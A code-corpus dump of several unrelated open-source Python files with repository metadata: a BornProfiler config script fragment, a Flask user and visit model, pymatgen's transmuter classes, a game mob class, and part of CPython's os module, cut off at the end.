250/129 < box/129 -250/129: dime = 161 else: box = 250 dime = 129 cfg.set('bornprofile','glen','[({box},{box},{box}),(100,100,100),(50,50,50)]'.format(box=box)) cfg.set('bornprofile','dime','[({dime},{dime},{dime}),({dime},{dime},{dime}),({dime},{dime},{dime})]'.format(dime=dime)) if path==True: cfg.set('bornprofile','points','../Centerline.pdb') else: cfg.set('bornprofile','points','../../../{path}'.format(path=path)) cfg.set('plotting','protein_bottom','{bot}'.format(bot = bmin[2])) cfg.set('plotting','protein_length','{leng}'.format(leng = (bmax-bmin)[2])) cfg.set('job','name','{pdbid}line{ion}'.format(pdbid=pdbid,ion=ion)) logger.info("writing cfg file.") with open('{pdbid}_{ion}.cfg'.format(pdbid=pdbid,ion=ion), 'wb') as config_file: cfg.write(config_file) # if Nomembrane: # subprocess.call(['apbs-bornprofile-placeion.py','{pdbid}_{ion}.cfg'.format(pdbid=pdbid,ion=ion),'--nomembrane']) # else: subprocess.call(['apbs-bornprofile-placeion.py','{pdbid}_{ion}.cfg'.format(pdbid=pdbid,ion=ion)]) if submit_com != None: subprocess.call(['{submit_com}'.format(submit_com=submit_com),'qsub_{pdbid}line{ion}.bash'.format(pdbid=pdbid,ion=ion)]) os.chdir('..') os.chdir("..") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("-protein") parser.add_argument("-pdbids",nargs='+') parser.add_argument("-ions", nargs='+') parser.add_argument("--pqr_forcefield", default='CHARMM') parser.add_argument("--pH", default=None) parser.add_argument("--Nomembrane", action='store_true') parser.add_argument("--path", default=True) parser.add_argument("--pathres", default=1) parser.add_argument("--script", default='q_ASU.sh') parser.add_argument("--arrayscript", default = 'array_ASU_workstations.sge') parser.add_argument("--submit_com", default = None) args = parser.parse_args() protein = args.protein pdbids = args.pdbids ions = args.ions forcefield = args.pqr_forcefield pH = args.pH Nomembrane = args.Nomembrane path = args.path pathres= args.pathres script = args.script arrayscript = args.arrayscript submit_com = args.submit_com bornprofiler.start_logging() prepare_run(protein,pdbids, ions,forcefield, pH, Nomembrane, path, pathres, script, arrayscript, submit_com) bornprofiler.stop_logging()
Becksteinlab/BornProfiler
scripts/apbs-bornprofile-BPauto.py
Python
gpl-3.0
7,084
[ "CHARMM", "MDAnalysis" ]
a581fc4cb1bcea23c1dd9e412e093e4d741094424625ec39743138cc12e61cb9
""" We import our empty db and write our model changes to it. NOTE: scheduler creates an additional table not captured in this model. """ __author__ = 'donal' __project__ = 'dcleaner' from . import db, login_manager from werkzeug.security import generate_password_hash, check_password_hash from sqlalchemy import Column, Integer, String, Boolean, DateTime, Float, ForeignKey from sqlalchemy.orm import relationship from flask.ext.login import UserMixin from datetime import datetime from flask import current_app from itsdangerous import TimedJSONWebSignatureSerializer as Serializer from config_vars import MAX_COL_WIDTHS, ADMIN_USER, INITIALLY_ACTIVE from . import lg # ============================== # DATABASE STRUCTURE # ============================== class CRUDMixin(object): """Inherit object for common operations""" __table_args__ = {'extend_existing': True} id = Column(db.Integer, primary_key=True) @classmethod def create(cls, commit=True, **kwargs): # a bit too bespoke (handling only for new signups) - try: kwargs.pop('password2', None) # kwargs.pop('submit', None) except: pass instance = cls(**kwargs) return instance.save(commit=commit) @classmethod def get(cls, id): return cls.query.get(id) # Also proxy Flask-SqlAlchemy's get_or_44 for symmetry @classmethod def get_or_404(cls, id): return cls.query.get_or_404(id) def update(self, commit=True, **kwargs): for attr, value in kwargs.iteritems(): setattr(self, attr, value) return commit and self.save() or self def save(self, commit=True): db.session.add(self) if commit: db.session.commit() return self def delete(self, commit=True): db.session.delete(self) return commit and db.session.commit() class Member(UserMixin, CRUDMixin, db.Model): """Simple member / user definition""" __tablename__ = 'member' id = Column(Integer, primary_key=True) firstname = Column(String(MAX_COL_WIDTHS), nullable=False) surname = Column(String(MAX_COL_WIDTHS), nullable=False) email = Column(String(MAX_COL_WIDTHS), nullable=False, unique=True) pwdhash = Column(String, nullable=False) adminr = Column(Boolean) active = Column(Boolean) confirmed = Column(Boolean, default=False) first_log = Column(DateTime(), default=datetime.utcnow) last_log = Column(DateTime(), default=datetime.utcnow) logins = Column(Integer) ips = relationship('Visit', backref='member', cascade="all, delete-orphan", passive_deletes=True) def __init__(self, firstname, surname, email, password, adminr=ADMIN_USER, active=INITIALLY_ACTIVE, confirmed=False, first_log=datetime.utcnow(), last_log=datetime.utcnow(), logins=1): self.firstname = firstname.title() self.surname = surname.title() self.email = email.lower() self.set_password(password) self.adminr = adminr self.active = active self.confirmed = confirmed self.first_log = first_log self.last_log = last_log self.logins = logins def set_password(self, password): self.pwdhash = generate_password_hash( password, method='pbkdf2:sha512:10000') def check_password(self, password): return check_password_hash(self.pwdhash, password) # =========================== # Next 4 all for flask-login # UserMixin would handle ordinarily, but in case we modify def is_authenticated(self): """True: if exist, they are authenticated""" return True def is_active(self): """Extra protection: we can determine/toggle""" return self.active """ def is_anonymous(self): ### False: not allowed return False """ def get_id(self): return unicode(self.id) # =========================== def ping(self, increment=True): self.last_log = datetime.utcnow() if increment: self.logins += 1 self.save(self) # =========================== # ACTIVATION def generate_confirm_token(self, expiry=3600): # seconds s = Serializer(current_app.config['SECRET_KEY'], expiry) return s.dumps({'confirm': self.id}) def confirm_token(self, token): s = Serializer(current_app.config['SECRET_KEY']) try: data = s.loads(token) lg.logger.info('try data: {}'.format(data)) except: lg.logger.info('failed try') return False if data.get('confirm') != self.id: lg.logger.info('failed confirm: {} {}'.format(data.get('confirm'), self.id)) return False self.confirmed = True self.save(self) return True def __repr__(self): return '<{0} {1}>'.format(self.surname, self.email) class Visit(CRUDMixin, db.Model): __tablename__ = 'visit' id = Column(Integer, primary_key=True) ip_address = Column(String) browser = Column(String) city = Column(String) zip_code = Column(String) latitude = Column(Float) longitude = Column(Float) date = Column(DateTime(), default=datetime.utcnow) member_id = Column(Integer, ForeignKey('member.id', ondelete='CASCADE')) def __init__(self, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) def __repr__(self): return '<IP {} in {} on {}>'\ .format(self.ip_address, self.city, self.date) class MemberBucketStore(CRUDMixin, db.Model): __tablename__ = 'memberbucketstore' id = Column(Integer, primary_key=True) member_id = Column(Integer, ForeignKey('member.id')) bucket = Column(String, default=None) # next columns are all chosen/populated by the boto.iam interface user_name = Column(String, nullable=False) access_key_selector = Column(String(30)) access_key_id = Column(String, nullable=False) secret_access_key = Column(String, nullable=False) create_date = Column(DateTime()) status = Column(String(10)) def __init__(self, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) def __repr__(self): return '<S3_access ({}, {}) to {}>'.format( self.member_id, self.user_name, self.bucket) # flask-login needs this definition @login_manager.user_loader def load_user(user_id): return Member.query.get(int(user_id)) if __name__ == '__main__': mem = Member('pat', 'brok', 'PB', 'fish', 0) print mem print mem.pwdhash print mem.check_password('Fish'), mem.check_password('fish')
carverdo/dcleaner
app/db_models.py
Python
mit
6,765
[ "VisIt" ]
7ec1f99419ef609e178ccb51a54f17e4ef789d7c6f5e37361f1925b6491e495c
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. from __future__ import unicode_literals """ This module implements various transmuter classes. Transmuters are essentially classes that generate TransformedStructures from various data sources. They enable the high-throughput generation of new structures and input files. It also includes the helper function, batch_write_vasp_input to generate an entire directory of vasp input files for running. """ from six.moves import filter, map __author__ = "Shyue Ping Ong, Will Richards" __copyright__ = "Copyright 2012, The Materials Project" __version__ = "0.1" __maintainer__ = "Shyue Ping Ong" __email__ = "shyuep@gmail.com" __date__ = "Mar 4, 2012" import os import re import warnings from multiprocessing import Pool from pymatgen.alchemy.materials import TransformedStructure from pymatgen.io.vasp.sets import MPRelaxSet class StandardTransmuter(object): """ An example of a Transmuter object, which performs a sequence of transformations on many structures to generate TransformedStructures. .. attribute: transformed_structures List of all transformed structures. """ def __init__(self, transformed_structures, transformations=None, extend_collection=0, ncores=None): """ Initializes a transmuter from an initial list of :class:`pymatgen.alchemy.materials.TransformedStructure`. Args: transformed_structures ([TransformedStructure]): Input transformed structures transformations ([Transformations]): New transformations to be applied to all structures. extend_collection (int): Whether to use more than one output structure from one-to-many transformations. extend_collection can be an int, which determines the maximum branching for each transformation. ncores (int): Number of cores to use for applying transformations. Uses multiprocessing.Pool. Default is None, which implies serial. """ self.transformed_structures = transformed_structures self.ncores = ncores if transformations is not None: for trans in transformations: self.append_transformation(trans, extend_collection=extend_collection) def get_transformed_structures(self): """ Returns all TransformedStructures. .. deprecated:: v2.1.0 Use transformed_structures attribute instead. Will be removed in next version. """ warnings.warn("Use transformed_structures attribute instead.", DeprecationWarning) return self.transformed_structures def __getitem__(self, index): return self.transformed_structures[index] def __getattr__(self, name): return [getattr(x, name) for x in self.transformed_structures] def undo_last_change(self): """ Undo the last transformation in the TransformedStructure. Raises: IndexError if already at the oldest change. """ for x in self.transformed_structures: x.undo_last_change() def redo_next_change(self): """ Redo the last undone transformation in the TransformedStructure. Raises: IndexError if already at the latest change. """ for x in self.transformed_structures: x.redo_next_change() def __len__(self): return len(self.transformed_structures) def append_transformation(self, transformation, extend_collection=False, clear_redo=True): """ Appends a transformation to all TransformedStructures. Args: transformation: Transformation to append extend_collection: Whether to use more than one output structure from one-to-many transformations. extend_collection can be a number, which determines the maximum branching for each transformation. clear_redo (bool): Whether to clear the redo list. By default, this is True, meaning any appends clears the history of undoing. However, when using append_transformation to do a redo, the redo list should not be cleared to allow multiple redos. Returns: List of booleans corresponding to initial transformed structures each boolean describes whether the transformation altered the structure """ if self.ncores and transformation.use_multiprocessing: p = Pool(self.ncores) #need to condense arguments into single tuple to use map z = map( lambda x: (x, transformation, extend_collection, clear_redo), self.transformed_structures) new_tstructs = p.map(_apply_transformation, z, 1) self.transformed_structures = [] for ts in new_tstructs: self.transformed_structures.extend(ts) else: new_structures = [] for x in self.transformed_structures: new = x.append_transformation(transformation, extend_collection, clear_redo=clear_redo) if new is not None: new_structures.extend(new) self.transformed_structures.extend(new_structures) def extend_transformations(self, transformations): """ Extends a sequence of transformations to the TransformedStructure. Args: transformations: Sequence of Transformations """ for t in transformations: self.append_transformation(t) def apply_filter(self, structure_filter): """ Applies a structure_filter to the list of TransformedStructures in the transmuter. Args: structure_filter: StructureFilter to apply. """ def test_transformed_structure(ts): return structure_filter.test(ts.final_structure) self.transformed_structures = list(filter(test_transformed_structure, self.transformed_structures)) for ts in self.transformed_structures: ts.append_filter(structure_filter) def write_vasp_input(self, **kwargs): """ Batch write vasp input for a sequence of transformed structures to output_dir, following the format output_dir/{formula}_{number}. Args: vasp_input_set: pymatgen.io.vaspio_set.VaspInputSet to create vasp input files from structures output_dir: Directory to output files create_directory (bool): Create the directory if not present. Defaults to True. subfolder: Callable to create subdirectory name from transformed_structure. e.g., lambda x: x.other_parameters["tags"][0] to use the first tag. include_cif (bool): Whether to output a CIF as well. CIF files are generally better supported in visualization programs. """ batch_write_vasp_input(self.transformed_structures, **kwargs) def set_parameter(self, key, value): """ Add parameters to the transmuter. Additional parameters are stored in the as_dict() output. Args: key: The key for the parameter. value: The value for the parameter. """ for x in self.transformed_structures: x.other_parameters[key] = value def add_tags(self, tags): """ Add tags for the structures generated by the transmuter. Args: tags: A sequence of tags. Note that this should be a sequence of strings, e.g., ["My awesome structures", "Project X"]. """ self.set_parameter("tags", tags) def __str__(self): output = ["Current structures", "------------"] for x in self.transformed_structures: output.append(str(x.final_structure)) return "\n".join(output) def append_transformed_structures(self, tstructs_or_transmuter): """ Method is overloaded to accept either a list of transformed structures or transmuter, it which case it appends the second transmuter"s structures. Args: tstructs_or_transmuter: A list of transformed structures or a transmuter. """ if isinstance(tstructs_or_transmuter, self.__class__): self.transformed_structures.extend(tstructs_or_transmuter .transformed_structures) else: for ts in tstructs_or_transmuter: assert isinstance(ts, TransformedStructure) self.transformed_structures.extend(tstructs_or_transmuter) @staticmethod def from_structures(structures, transformations=None, extend_collection=0): """ Alternative constructor from structures rather than TransformedStructures. Args: structures: Sequence of structures transformations: New transformations to be applied to all structures extend_collection: Whether to use more than one output structure from one-to-many transformations. extend_collection can be a number, which determines the maximum branching for each transformation. Returns: StandardTransmuter """ tstruct = [TransformedStructure(s, []) for s in structures] return StandardTransmuter(tstruct, transformations, extend_collection) class CifTransmuter(StandardTransmuter): """ Generates a Transmuter from a cif string, possibly containing multiple structures. """ def __init__(self, cif_string, transformations=None, primitive=True, extend_collection=False): """ Generates a Transmuter from a cif string, possibly containing multiple structures. Args: cif_string: A string containing a cif or a series of cifs transformations: New transformations to be applied to all structures primitive: Whether to generate the primitive cell from the cif. extend_collection: Whether to use more than one output structure from one-to-many transformations. extend_collection can be a number, which determines the maximum branching for each transformation. """ transformed_structures = [] lines = cif_string.split("\n") structure_data = [] read_data = False for line in lines: if re.match("^\s*data", line): structure_data.append([]) read_data = True if read_data: structure_data[-1].append(line) for data in structure_data: tstruct = TransformedStructure.from_cif_string("\n".join(data), [], primitive) transformed_structures.append(tstruct) super(CifTransmuter, self).__init__(transformed_structures, transformations, extend_collection) @staticmethod def from_filenames(filenames, transformations=None, primitive=True, extend_collection=False): """ Generates a TransformedStructureCollection from a cif, possibly containing multiple structures. Args: filenames: List of strings of the cif files transformations: New transformations to be applied to all structures primitive: Same meaning as in __init__. extend_collection: Same meaning as in __init__. """ allcifs = [] for fname in filenames: with open(fname, "r") as f: allcifs.append(f.read()) return CifTransmuter("\n".join(allcifs), transformations, primitive=primitive, extend_collection=extend_collection) class PoscarTransmuter(StandardTransmuter): """ Generates a transmuter from a sequence of POSCARs. Args: poscar_string: List of POSCAR strings transformations: New transformations to be applied to all structures. extend_collection: Whether to use more than one output structure from one-to-many transformations. """ def __init__(self, poscar_string, transformations=None, extend_collection=False): tstruct = TransformedStructure.from_poscar_string(poscar_string, []) super(PoscarTransmuter, self).__init__([tstruct], transformations, extend_collection=extend_collection) @staticmethod def from_filenames(poscar_filenames, transformations=None, extend_collection=False): """ Convenient constructor to generates a POSCAR transmuter from a list of POSCAR filenames. Args: poscar_filenames: List of POSCAR filenames transformations: New transformations to be applied to all structures. extend_collection: Same meaning as in __init__. """ tstructs = [] for filename in poscar_filenames: with open(filename, "r") as f: tstructs.append(TransformedStructure .from_poscar_string(f.read(), [])) return StandardTransmuter(tstructs, transformations, extend_collection=extend_collection) def batch_write_vasp_input(transformed_structures, vasp_input_set=MPRelaxSet, output_dir=".", create_directory=True, subfolder=None, include_cif=False, **kwargs): """ Batch write vasp input for a sequence of transformed structures to output_dir, following the format output_dir/{group}/{formula}_{number}. Args: transformed_structures: Sequence of TransformedStructures. vasp_input_set: pymatgen.io.vaspio_set.VaspInputSet to creates vasp input files from structures. output_dir: Directory to output files create_directory (bool): Create the directory if not present. Defaults to True. subfolder: Function to create subdirectory name from transformed_structure. e.g., lambda x: x.other_parameters["tags"][0] to use the first tag. include_cif (bool): Boolean indication whether to output a CIF as well. CIF files are generally better supported in visualization programs. """ for i, s in enumerate(transformed_structures): formula = re.sub("\s+", "", s.final_structure.formula) if subfolder is not None: subdir = subfolder(s) dirname = os.path.join(output_dir, subdir, "{}_{}".format(formula, i)) else: dirname = os.path.join(output_dir, "{}_{}".format(formula, i)) s.write_vasp_input(vasp_input_set, dirname, create_directory=create_directory, **kwargs) if include_cif: from pymatgen.io.cif import CifWriter writer = CifWriter(s.final_structure) writer.write_file(os.path.join(dirname, "{}.cif".format(formula))) def _apply_transformation(inputs): """ Helper method for multiprocessing of apply_transformation. Must not be in the class so that it can be pickled. Args: inputs: Tuple containing the transformed structure, the transformation to be applied, a boolean indicating whether to extend the collection, and a boolean indicating whether to clear the redo Returns: List of output structures (the modified initial structure, plus any new structures created by a one-to-many transformation) """ ts, transformation, extend_collection, clear_redo = inputs new = ts.append_transformation(transformation, extend_collection, clear_redo=clear_redo) o = [ts] if new: o.extend(new) return o
aykol/pymatgen
pymatgen/alchemy/transmuters.py
Python
mit
16,733
[ "VASP", "pymatgen" ]
6f9d22f264ae01e3d6ed3fc951ea0c7516d21015792e1e8d6dfc9dd2e6b742ce
''' Created on 2013-05-16 @author: brian ''' import pygame from entity import Entity from src.ai import task from src.abilities import * class Headless(Entity): living = "headless" dead = "gore" def __init__(self, world): Entity.__init__(self, world) self.health = self.maxHealth = 20 self.ai.addAI(task.Flee(self)) self.ai.addAI(task.Cast(self)) self.ai.addAI(task.Pursue(self)) self.ai.addAI(task.Follow(self)) self.ai.addAI(task.Wander(self)) self.hostile = True self.singular = 'a headless' def equip(self): pass
Greymerk/python-rpg
src/entity/mobs/headless.py
Python
gpl-3.0
557
[ "Brian" ]
7b7c5f63300b517269eb05292ff1829152b29f3bbf47f0906e4edec12668294c
r"""OS routines for Mac, NT, or Posix depending on what system we're on. This exports: - all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc. - os.path is either posixpath or ntpath - os.name is either 'posix', 'nt', 'os2' or 'ce'. - os.curdir is a string representing the current directory ('.' or ':') - os.pardir is a string representing the parent directory ('..' or '::') - os.sep is the (or a most common) pathname separator ('/' or ':' or '\\') - os.extsep is the extension separator (always '.') - os.altsep is the alternate pathname separator (None or '/') - os.pathsep is the component separator used in $PATH etc - os.linesep is the line separator in text files ('\r' or '\n' or '\r\n') - os.defpath is the default search path for executables - os.devnull is the file path of the null device ('/dev/null', etc.) Programs that import and use 'os' stand a better chance of being portable between different platforms. Of course, they must then only use functions that are defined by all platforms (e.g., unlink and opendir), and leave all pathname manipulation to os.path (e.g., split and join). """ #' import sys, errno _names = sys.builtin_module_names # Note: more names are added to __all__ later. __all__ = ["altsep", "curdir", "pardir", "sep", "pathsep", "linesep", "defpath", "name", "path", "devnull", "SEEK_SET", "SEEK_CUR", "SEEK_END"] def _get_exports_list(module): try: return list(module.__all__) except AttributeError: return [n for n in dir(module) if n[0] != '_'] if 'posix' in _names: name = 'posix' linesep = '\n' from posix import * try: from posix import _exit except ImportError: pass import posixpath as path import posix __all__.extend(_get_exports_list(posix)) del posix elif 'nt' in _names: name = 'nt' linesep = '\r\n' from nt import * try: from nt import _exit except ImportError: pass import ntpath as path import nt __all__.extend(_get_exports_list(nt)) del nt elif 'os2' in _names: name = 'os2' linesep = '\r\n' from os2 import * try: from os2 import _exit except ImportError: pass if sys.version.find('EMX GCC') == -1: import ntpath as path else: import os2emxpath as path from _emx_link import link import os2 __all__.extend(_get_exports_list(os2)) del os2 elif 'ce' in _names: name = 'ce' linesep = '\r\n' from ce import * try: from ce import _exit except ImportError: pass # We can use the standard Windows path. import ntpath as path import ce __all__.extend(_get_exports_list(ce)) del ce else: raise ImportError('no os specific module found') sys.modules['os.path'] = path from os.path import (curdir, pardir, sep, pathsep, defpath, extsep, altsep, devnull) del _names # Python uses fixed values for the SEEK_ constants; they are mapped # to native constants if necessary in posixmodule.c SEEK_SET = 0 SEEK_CUR = 1 SEEK_END = 2 def _get_masked_mode(mode): mask = umask(0) umask(mask) return mode & ~mask #' # Super directory utilities. # (Inspired by Eric Raymond; the doc strings are mostly his) def makedirs(name, mode=0o777, exist_ok=False): """makedirs(path [, mode=0o777][, exist_ok=False]) Super-mkdir; create a leaf directory and all intermediate ones. Works like mkdir, except that any intermediate path segment (not just the rightmost) will be created if it does not exist. If the target directory with the same mode as we specified already exists, raises an OSError if exist_ok is False, otherwise no exception is raised. This is recursive. """ head, tail = path.split(name) if not tail: head, tail = path.split(head) if head and tail and not path.exists(head): try: makedirs(head, mode, exist_ok) except OSError as e: # be happy if someone already created the path if e.errno != errno.EEXIST: raise if tail == curdir: # xxx/newdir/. exists if xxx/newdir exists return try: mkdir(name, mode) except OSError as e: import stat as st if not (e.errno == errno.EEXIST and exist_ok and path.isdir(name) and st.S_IMODE(lstat(name).st_mode) == _get_masked_mode(mode)): raise def removedirs(name): """removedirs(path) Super-rmdir; remove a leaf directory and all empty intermediate ones. Works like rmdir except that, if the leaf directory is successfully removed, directories corresponding to rightmost path segments will be pruned away until either the whole path is consumed or an error occurs. Errors during this latter phase are ignored -- they generally mean that a directory was not empty. """ rmdir(name) head, tail = path.split(name) if not tail: head, tail = path.split(head) while head and tail: try: rmdir(head) except error: break head, tail = path.split(head) def renames(old, new): """renames(old, new) Super-rename; create directories as necessary and delete any left empty. Works like rename, except creation of any intermediate directories needed to make the new pathname good is attempted first. After the rename, directories corresponding to rightmost path segments of the old name will be pruned way until either the whole path is consumed or a nonempty directory is found. Note: this function can fail with the new directory structure made if you lack permissions needed to unlink the leaf directory or file. """ head, tail = path.split(new) if head and tail and not path.exists(head): makedirs(head) rename(old, new) head, tail = path.split(old) if head and tail: try: removedirs(head) except error: pass __all__.extend(["makedirs", "removedirs", "renames"]) def walk(top, topdown=True, onerror=None, followlinks=False): """Directory tree generator. For each directory in the directory tree rooted at top (including top itself, but excluding '.' and '..'), yields a 3-tuple dirpath, dirnames, filenames dirpath is a string, the path to the directory. dirnames is a list of the names of the subdirectories in dirpath (excluding '.' and '..'). filenames is a list of the names of the non-directory files in dirpath. Note that the names in the lists are just names, with no path components. To get a full path (which begins with top) to a file or directory in dirpath, do os.path.join(dirpath, name). If optional arg 'topdown' is true or not specified, the triple for a directory is generated before the triples for any of its subdirectories (directories are generated top down). If topdown is false, the triple for a directory is generated after the triples for all of its subdirectories (directories are generated bottom up). When topdown is true, the caller can modify the dirnames list in-place (e.g., via del or slice assignment), and walk will only recurse into the subdirectories whose names remain in dirnames; this can be used to prune the search, or to impose a specific order of visiting. Modifying dirnames when topdown is false is ineffective, since the directories in dirnames have already been generated by the time dirnames itself is generated. By default errors from the os.listdir() call are ignored. If optional arg 'onerror' is specified, it should be a function; it will be called with one argument, an os.error instance. It can report the error to continue with the walk, or raise the exception to abort the walk. Note that the filename is available as the filename attribute of the exception object. By default, os.walk does not follow symbolic links to subdirectories on systems that support them. In order to get this functionality, set the optional argument 'followlinks' to true. Caution: if you pass a relative pathname for top, don't change the current working directory between resumptions of walk. walk never changes the current directory, and assumes that the client doesn't either. Example: import os from os.path import join, getsize for root, dirs, files in os.walk('python/Lib/email'): print(root, "consumes", end="") print(sum([getsize(join(root, name)) for name in files]), end="") print("bytes in", len(files), "non-directory files") if 'CVS' in dirs: dirs.remove('CVS') # don't visit CVS directories """ islink, join, isdir = path.islink, path.join, path.isdir # We may not have read permission for top, in which case we can't # get a list of the files the directory contains. os.walk # always suppressed the exception then, rather than blow up for a # minor reason when (say) a thousand readable directories are still # left to visit. That logic is copied here. try: # Note that listdir and error are globals in this module due # to earlier import-*. names = listdir(top) except error as err: if onerror is not None: onerror(err) return dirs, nondirs = [], [] for name in names: if isdir(join(top, name)): dirs.append(name) else: nondirs.append(name) if topdown: yield top, dirs, nondirs for name in dirs: new_path = join(top, name) if followlinks or not islink(new_path): for x in walk(new_path, topdown, onerror, followlinks): yield x if not topdown: yield top, dirs, nondirs __all__.append("walk") # Make sure os.environ exists, at least try: environ except NameError: environ = {} def execl(file, *args): """execl(file, *args) Execute the executable file with argument list args, replacing the current process. """ execv(file, args) def execle(file, *args): """execle(file, *args, env) Execute the executable file with argument list args and environment env, replacing the current process. """ env = args[-1] execve(file, args[:-1], env) def execlp(file, *args): """execlp(file, *args) Execute the executable file (which is searched for along $PATH) with argument list args, replacing the current process. """ execvp(file, args) def execlpe(file, *args): """execlpe(file, *args, env) Execute the executable file (which is searched for along $PATH) with argument list args and environment env, replacing the current process. """ env = args[-1] execvpe(file, args[:-1], env) def execvp(file, args): """execvp(file, args) Execute the executable file (which is searched for along $PATH) with argument list args, replacing the current process. args may be a list or tuple of strings. """ _execvpe(file, args) def execvpe(file, args, env): """execvpe(file, args, env) Execute the executable file (which is searched for along $PATH) with argument list args and environment env , replacing the current process. args may be a list or tuple of strings. """ _execvpe(file, args, env) __all__.extend(["execl","execle","execlp","execlpe","execvp","execvpe"]) def _execvpe(file, args, env=None): if env is not None: exec_func = execve argrest = (args, env) else: exec_func = execv argrest = (args,) env = environ head, tail = path.split(file) if head: exec_func(file, *argrest) return last_exc = saved_exc = None saved_tb = None path_list = get_exec_path(env) if name != 'nt': file = fsencode(file) path_list = map(fsencode, path_list) for dir in path_list: fullname = path.join(dir, file) try: exec_func(fullname, *argrest) except error as e: last_exc = e tb = sys.exc_info()[2] if (e.errno != errno.ENOENT and e.errno != errno.ENOTDIR and saved_exc is None): saved_exc = e saved_tb = tb if saved_exc: raise saved_exc.with_traceback(saved_tb) raise last_exc.with_traceback(tb) def get_exec_path(env=None): """Returns the sequence of directories that will be searched for the named executable (similar to a shell) when launching a process. *env* must be an environment variable dict or None. If *env* is None, os.environ will be used. """ # Use a local import instead of a global import to limit the number of # modules loaded at startup: the os module is always loaded at startup by # Python. It may also avoid a bootstrap issue. import warnings if env is None: env = environ # {b'PATH': ...}.get('PATH') and {'PATH': ...}.get(b'PATH') emit a # BytesWarning when using python -b or python -bb: ignore the warning with warnings.catch_warnings(): warnings.simplefilter("ignore", BytesWarning) try: path_list = env.get('PATH') except TypeError: path_list = None if supports_bytes_environ: try: path_listb = env[b'PATH'] except (KeyError, TypeError): pass else: if path_list is not None: raise ValueError( "env cannot contain 'PATH' and b'PATH' keys") path_list = path_listb if path_list is not None and isinstance(path_list, bytes): path_list = fsdecode(path_list) if path_list is None: path_list = defpath return path_list.split(pathsep) # Change environ to automatically call putenv(), unsetenv if they exist. from _abcoll import MutableMapping # Can't use collections (bootstrap) class _Environ(MutableMapping): def __init__(self, data, encodekey, decodekey, encodevalue, decodevalue, putenv, unsetenv): self.encodekey = encodekey self.decodekey = decodekey self.encodevalue = encodevalue self.decodevalue = decodevalue self.putenv = putenv self.unsetenv = unsetenv self._data = data def __getitem__(self, key): value = self._data[self.encodekey(key)] return self.decodevalue(value) def __setitem__(self, key, value): key = self.encodekey(key) value = self.encodevalue(value) self.putenv(key, value) self._data[key] = value def __delitem__(self, key): key = self.encodekey(key) self.unsetenv(key) del self._data[key] def __iter__(self): for key in self._data: yield self.decodekey(key) def __len__(self): return len(self._data) def __repr__(self): return 'environ({{{}}})'.format(', '.join( ('{!r}: {!r}'.format(self.decodekey(key), self.decodevalue(value)) for key, value in self._data.items()))) def copy(self): return dict(self) def setdefault(self, key, value): if key not in self: self[key] = value return self[key] try: _putenv = putenv except NameError: _putenv = lambda key, value: None else: __all__.append("putenv") try: _unsetenv = unsetenv except NameError: _unsetenv = lambda key: _putenv(key, "") else: __all__.append("unsetenv") def _createenviron(): if name in ('os2', 'nt'): # Where Env Var Names Must Be UPPERCASE def check_str(value): if not isinstance(value, str): raise TypeError("str expected, not %s" % type(value).__name__) return value encode = check_str decode = str def encodekey(key): return encode(key).upper() data = {} for key, value in environ.items(): data[encodekey(key)] = value else: # Where Env Var Names Can Be Mixed Case encoding = sys.getfilesystemencoding() def encode(value): if not isinstance(value, str): raise TypeError("str expected, not %s" % type(value).__name__) return value.encode(encoding, 'surrogateescape') def decode(value): return value.decode(encoding, 'surrogateescape') encodekey = encode data = environ return _Environ(data, encodekey, decode, encode, decode, _putenv, _unsetenv) # unicode environ environ = _createenviron() del _createenviron def getenv(key, default=None): """Get an environment variable, return None if it doesn't exist. The optional second argument can specify an alternate default. key, default and the result are str.""" return environ.get(key, default) supports_bytes_environ = name not in ('os2', 'nt') __all__.extend(("getenv", "supports_bytes_environ")) if supports_bytes_environ: def _check_bytes(value): if not isinstance(value, bytes): raise TypeError("bytes expected, not %s" % type(value).__name__) return value # bytes environ environb = _Environ(environ._data, _check_bytes, bytes, _check_bytes, bytes, _putenv, _unsetenv) del _check_bytes def getenvb(key, default=None): """Get an environment variable, return None if it doesn't exist. The optional second argument can specify an alternate default. key, default and the result are bytes.""" return environb.get(key, default) __all__.extend(("environb", "getenvb")) def _fscodec(): encoding = sys.getfilesystemencoding() if encoding == 'mbcs': errors = 'strict' else: errors = 'surrogateescape' def fsencode(filename): """ Encode filename to the filesystem encoding with 'surrogateescape' error handler, return bytes unchanged. On Windows, use 'strict' error handler if the file system encoding is 'mbcs' (which is the default encoding). """ if isinstance(filename, bytes): return filename elif isinstance(filename, str): return filename.encode(encoding, errors) else: raise TypeError("expect bytes or str, not %s" % type(filename).__name__) def fsdecode(filename): """ Decode filename from the filesystem encoding with 'surrogateescape' error handler, return str unchanged. On Windows, use 'strict' error handler if the file system encoding is 'mbcs' (which is the default encoding). """ if isinstance(filename, str): return filename elif isinstance(filename, bytes): return filename.decode(encoding, errors) else: raise TypeError("expect bytes or str, not %s" % type(filename).__name__) return fsencode, fsdecode fsencode, fsdecode = _fscodec() del _fscodec def _exists(name): return name in globals() # Supply spawn*() (probably only for Unix) if _exists("fork") and not _exists("spawnv") and _exists("execv"): P_WAIT = 0 P_NOWAIT = P_NOWAITO = 1 # XXX Should we support P_DETACH? I suppose it could fork()**2 # and close the std I/O streams. Also, P_OVERLAY is the same # as execv*()? def _spawnvef(mode, file, args, env, func): # Internal helper; func is the exec*() function to use pid = fork() if not pid: # Child try: if env is None: func(file, args) else: func(file, args, env) except: _exit(127) else: # Parent if mode == P_NOWAIT: return pid # Caller is responsible for waiting! while 1: wpid, sts = waitpid(pid, 0) if WIFSTOPPED(sts): continue elif WIFSIGNALED(sts): return -WTERMSIG(sts) elif WIFEXITED(sts): return WEXITSTATUS(sts) else: raise error("Not stopped, signaled or exited???") def spawnv(mode, file, args): """spawnv(mode, file, args) -> integer Execute file with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, None, execv) def spawnve(mode, file, args, env): """spawnve(mode, file, args, env) -> integer Execute file with arguments from args in a subprocess with the specified environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, env, execve) # Note: spawnvp[e] is't currently 